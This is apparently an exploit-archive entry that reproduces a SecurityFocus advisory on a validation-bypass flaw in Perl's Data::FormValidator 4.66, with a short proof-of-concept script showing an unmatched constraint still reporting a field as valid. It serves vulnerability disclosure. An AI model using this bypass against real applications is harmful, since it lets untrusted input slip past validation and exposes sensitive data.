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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/48167/info

The Perl Data::FormValidator module is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and obtain potentially sensitive information.

Data::FormValidator 4.66 is vulnerable; other versions may also be affected.

#!/opt/perl/5.12/bin/perl

use strict;
use warnings;

use Data::FormValidator;

"some_unrelated_string" =~ m/^.*$/;

my $profile = {
untaint_all_constraints => 1,
required => [qw(a)],
constraint_methods => {
a => qr/will_never_match/,
},
};

my $results = Data::FormValidator->check({ a => 1 }, $profile);
warn $results->valid('a');